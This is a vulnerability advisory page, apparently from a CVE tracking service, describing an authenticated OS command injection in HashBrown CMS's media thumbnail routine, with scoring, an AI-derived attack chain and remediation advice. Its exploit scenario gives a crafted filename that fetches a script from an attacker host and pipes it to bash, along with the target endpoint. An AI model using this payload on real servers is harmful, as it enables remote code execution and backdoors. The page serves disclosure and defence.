Skip to main content

HashBrown CMS EUVDEUVD-2026-53097

| CVE-2026-70374 HIGH
OS Command Injection (CWE-78)
2026-08-05 TuranSec GHSA-f8rj-8x92-pfp5
8.8
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain media-scoped CMS credentials
  2. Delivery
    Craft filename embedding shell substitution (e.g. x.jpg?$(cmd))
  3. Exploit
    Submit POST to /api/{project}/{environment}/media/new
  4. Install
    getMIMEType() truncates at '?' and passes MIME check
  5. C2
    Path.extname() retains full injected payload
  6. Execute
    AppService.exec() passes unsanitized path to shell
  7. Impact
    Arbitrary OS command execution as Node.js process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid authenticated session in HashBrown CMS with the 'media resource scope' permission explicitly granted. This scope is required to reach the POST /api/{project}/{environment}/media/new endpoint that triggers thumbnail generation. No non-default server configuration is required - the vulnerability exists in the default media upload flow. The limiting factor is credential acquisition: anonymous users and authenticated users without the media scope cannot trigger this code path. In deployments where only administrators hold the media scope, risk is substantially reduced but not eliminated, as administrative account compromise remains a viable path. The server must be running a HashBrown CMS version at or below 1.4.6 with a shell-accessible ImageMagick or equivalent 'convert' binary available to the Node.js process.

Impact

The CVSS 8.8 score (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk profile: network-reachable, low complexity, full triad impact, requiring only low-privilege credentials. The PR:L metric is the primary limiting factor - exploitation is bounded to users with the media resource scope, which in a typical CMS deployment may include content editors and contributors, not just administrators. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified. No CISA KEV listing is present, and no confirmed public exploit code has been identified, meaning exploitation is theoretically straightforward but not confirmed as actively occurring. The vulnerability is not configuration-dependent - any deployment of the affected version with at least one non-admin user account is potentially at risk. The attack chain is simple: a single crafted POST request yields code execution, making it automatable. Despite the absence of KEV or EPSS data, the low attack complexity and high impact make this a genuine remediation priority for any internet-facing HashBrown CMS instance.

Exploit ScenarioDerived

An authenticated CMS contributor navigates to the media upload interface and submits a POST request to /api/{project}/{environment}/media/new with a crafted filename such as shell.jpg?$(curl http://attacker.example/s.sh|bash). The getMIMEType() function sees the extension as .jpg and permits the upload, while Path.extname() extracts .jpg?$(curl http://attacker.example/s.sh|bash) intact. AppService.exec() then runs the full shell string, fetching and executing the attacker's script in the context of the Node.js server process - granting a reverse shell or persistent backdoor with the privileges of the CMS service account.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 1.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

OS command injection in HashBrown CMS through version 1.4.6 enables any authenticated user holding media resource scope to execute arbitrary shell commands on the server by exploiting a discrepancy between two filename-parsing functions. The MIME-type filter in getMIMEType() truncates filenames at the first '?' character - accepting 'x.jpg?$(command)' as a valid image - while Node.js Path.extname() does not truncate at '?', allowing the full malicious suffix to flow unescaped into a shell exec() call inside the thumbnail generation routine. No public exploit code or CISA KEV listing has been identified at time of analysis, but the technique is well-understood and requires only low-privilege access, making it a meaningful risk for any internet-accessible deployment.

RemediationAI

No vendor-released patched version has been identified in the available data - the affected range confirmed by EUVD covers all releases through 1.4.6, and no fix version is referenced in the TuranSec advisory (https://cve.turansec.uz/advisories/TRN-11FC0D88) or the NVD entry. Operators should monitor the upstream GitHub repository (https://github.com/HashBrownCMS/hashbrown-cms) for a patched release and upgrade immediately upon availability. In the interim, the most effective compensating control is to revoke the media resource scope from all non-administrative user accounts, limiting upload capability to fully trusted operators only - note this will prevent content editors from uploading media independently. If the application is internet-facing and no trusted-user restriction is feasible, consider taking the media upload endpoint offline entirely by blocking access to POST /api/{project}/{environment}/media/new at the reverse proxy or firewall level; this prevents the CMS from accepting new media but leaves existing content accessible. A WAF rule blocking filenames containing '?' or shell metacharacters ($, (, ), ;, `) in multipart form data may provide a partial barrier but should not be relied upon as the sole control given the variety of injection payloads possible.

Affected VersionsENISA

hashbrown-cms 0 ≤1.4.6

Affected Packages

euvd hashbrown_cms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HashBrown CMS is a Node.js-based headless content management system. The vulnerability resides in Media.generateThumbnail() (src/Server/Entity/Resource/Media.js), which constructs a temporary file path by concatenating the string 'thumbnail' with the result of Node.js's Path.extname(filename), then passes that unsanitized path directly into a shell command via AppService.exec() - likely invoking ImageMagick's 'convert' utility. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically arising from a logic gap between two co-located parsing functions: getMIMEType() in src/Common/utilities.js strips everything from '?' onward when extracting the file extension, so 'x.jpg?$(id)' is classified as JPEG and passes validation. However, Path.extname() follows Node.js semantics and preserves the full extension including the '?' and everything after it. When that output reaches the exec() call, the shell interprets $(id) as a command substitution. The affected CPE is cpe:2.3:a:hashbrowncms:hashbrown-cms:*:*:*:*:*:*:*:*, covering all versions through 1.4.6.

Know when Hashbrown Cms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable API endpoint (AV:N), trivial injection with no race condition (AC:L), requires media-scoped account (PR:L), full triad impact via shell execution (C/I/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Aug 05, 2026 - 13:37 NVD
8.8 (HIGH)
CVE Published
Aug 05, 2026 - 05:46 cve.org
UNKNOWN (no severity yet)
CVE Published
Aug 05, 2026 - 05:46 cve.org
HIGH 8.8

DescriptionCVE.org

HashBrown CMS through 1.4.6 contains an OS Command Injection vulnerability (CWE-78) in the media upload thumbnail generation routine. Media.generateThumbnail() in src/Server/Entity/Resource/Media.js builds a temporary file path as 'thumbnail' + Path.extname(filename) and passes it, unescaped, into a shell command executed via AppService.exec() ('convert ' + tempFile + ...). The MIME-type filter in getMIMEType() (src/Common/utilities.js) truncates the extracted extension at the first '?' character, while Path.extname() does not, allowing a filename such as 'x.jpg?$(command)' to pass the image-type check while still injecting a shell command substitution into the exec() call. An authenticated user holding the media resource scope can achieve arbitrary OS command execution in the context of the Node.js process via POST /api/{project}/{environment}/media/new.

Executive ViewAI

Why It Matters

HashBrown CMS versions through 1.4.6 contain a critical OS command injection vulnerability allowing authenticated users with media resource access to execute arbitrary shell commands on the server. No public exploit identified at time of analysis, but the vulnerability exploits a low-privilege feature present in most deployments, creating immediate risk of server compromise and data theft for any internet-accessible instance. Organizations must implement urgent access restrictions and monitoring pending patch availability.

Business Impact: High
Compensating Controls

Restrict media upload access to trusted internal networks; implement WAF rules blocking filenames with special characters (?, $, backticks); enforce strict file type validation at both MIME and extension levels; require multi-factor authentication for all users accessing media management functions; enable detailed logging and alerting on file upload activities; conduct access review and revoke media scope for users who do not require it.

Threat Intelligence Overview

EPSS Score
1.4%
Top 30% exploitable
Prevalence
Low
niche Node.js headless CMS, limited enterprise adoption
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.4%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy